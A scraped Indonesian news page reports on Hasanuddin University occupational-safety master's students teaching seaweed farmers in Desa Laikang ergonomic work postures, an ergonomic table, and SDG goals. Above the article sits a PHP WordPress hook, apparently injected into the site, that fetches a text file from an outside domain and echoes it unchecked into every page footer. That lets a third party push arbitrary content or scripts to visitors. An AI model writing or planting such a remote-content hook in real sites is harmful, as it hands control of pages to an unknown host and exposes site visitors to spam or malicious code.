function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');Dari Kampus untuk Pesisir: Mahasiswa S2 K3 FKM Unhas Ajak Petani Rumput Laut Terapkan Cara Kerja Ergonomis Dukung SDGs - Suluh Nusantara

Home / Uncategorized

Sabtu, 1 November 2025 - 19:36 WIB

Dari Kampus untuk Pesisir: Mahasiswa S2 K3 FKM Unhas Ajak Petani Rumput Laut Terapkan Cara Kerja Ergonomis Dukung SDGs

Edukasi Posisi Tubuh dan Cara Kerja Ergonomis bagi Petani Rumput Laut di Desa Laikang 

Desa Laikang, 01 November 2025 — Dalam rangka memperingati Dies Natalis ke-43 Fakultas Kesehatan Masyarakat (FKM) Universitas Hasanuddin, Program Magister Keselamatan dan Kesehatan Kerja (K3) melaksanakan kegiatan pengabdian kepada masyarakat di Desa Laikang, Kecamatan Laikang, Kabupaten Takalar. Kegiatan ini mengusung tema “Edukasi Posisi Tubuh dan Cara Kerja Ergonomis untuk Petani Rumput Laut”, sebagai bentuk implementasi ilmu K3 di sektor kerja informal, khususnya bagi masyarakat pesisir yang berprofesi sebagai petani rumput laut. 

Pelaksanaan kegiatan bertujuan untuk meningkatkan kesadaran dan pengetahuan petani terkait pentingnya penerapan prinsip ergonomi dalam aktivitas kerja sehari-hari. Posisi tubuh yang tidak tepat, seperti membungkuk terlalu lama atau mengangkat beban secara tidak seimbang, dapat menimbulkan keluhan nyeri punggung, cedera otot, dan gangguan muskuloskeletal. Melalui edukasi ini, para petani diharapkan mampu mengurangi risiko gangguan kesehatan kerja serta meningkatkan produktivitas. 

Kegiatan pengabdian ini diikuti oleh tujuh mahasiswa Program Magister K3 FKM Unhas, dibimbing langsung oleh dosen pendamping dan perwakilan masyarakat setempat. Metode pelaksanaan meliputi penyuluhan interaktif, pembagian leaflet edukatif, presentasi materi mengenai prinsip kerja ergonomis, serta simulasi peragaan posisi kerja yang benar saat melakukan aktivitas seperti mengangkat, menjemur, dan membersihkan rumput laut. Untuk menambah antusiasme peserta, sesi edukasi juga diselingi dengan games bertema keselamatan kerja yang dikemas secara menarik dan partisipatif. 

Baca Juga  Edukasi Audio-Visual Dinilai Efektif: Pengetahuan Perokok Pasif di Dusun Bontomanai dan Layu Meningkat

Menariknya, kegiatan ini turut menampilkan video inovasi meja ergonomis yang diperkenalkan sebagai salah satu solusi praktis bagi petani rumput laut. Meja tersebut dirancang untuk mengurangi risiko kerja membungkuk dalam waktu lama saat proses pembersihan dan pengikatan rumput laut. Inovasi ini sebelumnya telah diterapkan oleh petani di Kabupaten Maros dan terbukti membantu mengurangi keluhan nyeri punggung. Melalui penayangan video ini, peserta diajak untuk melihat contoh penerapan ergonomi sederhana yang dapat diadaptasi sesuai kondisi kerja mereka di lapangan. 

Selain kegiatan edukatif, mahasiswa juga melaksanakan pemberian paket beras kepada peserta sebagai bentuk apresiasi dan kepedulian terhadap kesejahteraan masyarakat. Kegiatan pengabdian masyarakat ini turut mendukung pencapaian Tujuan Pembangunan Berkelanjutan (Sustainable Development Goals/SDGs), khususnya SDGs 3 (Good Health and Well-being) melalui upaya peningkatan kesehatan kerja, serta SDGs 8 (Decent Work and Economic Growth) dengan mendorong penerapan prinsip kerja yang layak dan aman di sektor informal. 

Baca Juga  Evaluasi Pemasangan Poster ‘Bahaya Merokok’ Oleh Posko 23 PBL III Fakultas Kesehatan Masyarakat Universitas Hasanuddin Di Desa Bontosunggu, Kecamatan Tamalatea, Kabupaten Jeneponto

 Ketua Program Studi S2 K3 FKM Unhas, Prof. Dr. Yahya Thamrin, SKM., M.Kes., MOHS., Ph.D menyampaikan apresiasinya terhadap inisiatif mahasiswa dalam kegiatan ini.  Kegiatan ini menunjukkan bagaimana konsep K3 dapat diterapkan secara nyata di masyarakat, bukan hanya di sektor industri formal. Penerapan prinsip ergonomi pada petani rumput laut merupakan langkah kecil namun berdampak besar untuk meningkatkan kesehatan dan efisiensi kerja mereka,” ujar Prof. Yahya.  Ia juga menambahkan bahwa inovasi meja ergonomis, yang sebelumnya telah dikembangkan melalui penelitian, menjadi contoh konkret bagaimana hasil riset akademik dapat memberikan manfaat langsung bagi masyarakat pesisir. 

Melalui kegiatan pengabdian ini, diharapkan masyarakat Desa Laikang, khususnya para petani rumput laut, dapat lebih memahami pentingnya ergonomi dalam bekerja serta menerapkan prinsip Kesehatan dan Keselamatan Kerja (K3) dalam aktivitas sehari-hari. Kegiatan ini menjadi wujud komitmen FKM Unhas dalam mendukung transformasi kesehatan kerja di sektor informal, sejalan dengan semangat Dies Natalis ke-43 FKM Unhas dan visi menuju Indonesia Emas 2045. 

Share :

Baca Juga

Uncategorized

Pemantauan Status Gizi dan Edukasi Gizi Seimbang di MAN Pangkep: Sinergi UNHAS dan MAN Pangkep dalam Meningkatkan Kesehatan Remaja

Uncategorized

Mahasiswa FKM Unhas Rampungkan PBL 1 di Desa Laringgi: Identifikasi Masalah Hipertensi dan Sampah Jadi Fokus Utama

Uncategorized

Yudisium FKM Unhas September 2025 Hadirkan Prestasi dan Sejarah Baru

Uncategorized

Posko 26 PBL I FKM Unhas Gelar Seminar Awal Bersama Masyarakat Desa Panincong, Kec. Marioriawa

Uncategorized

Tingkatkan Mutu Pembelajaran, PKIP FKM Unhas Gelar Workshop Pemutakhiran RPS K23 serta Penyusunan Modul Ajar

Uncategorized

Mahasiswa Posko 17 PBL II FKM Unhas Gelar Edukasi Stunting dan Demo Masak Berbasis Kelor untuk Ibu Hamil di Benteng, Jeneponto

Uncategorized

Mahasiswa KKN Profesi Kesehatan Unhas dan Warga Desa Pa’rasangan Beru Canangkan Program Care for Desa (CFD) sebagai Gerakan Bersama Cegah Stunting

Uncategorized

Mahasiswa PBL III FKM Unhas Dorong Komitmen TTD Rematri SMPN 2 Tamalatea Lewat Penyuluhan, Tanda Tangan Komitmen, dan QR Code Edukatif TTD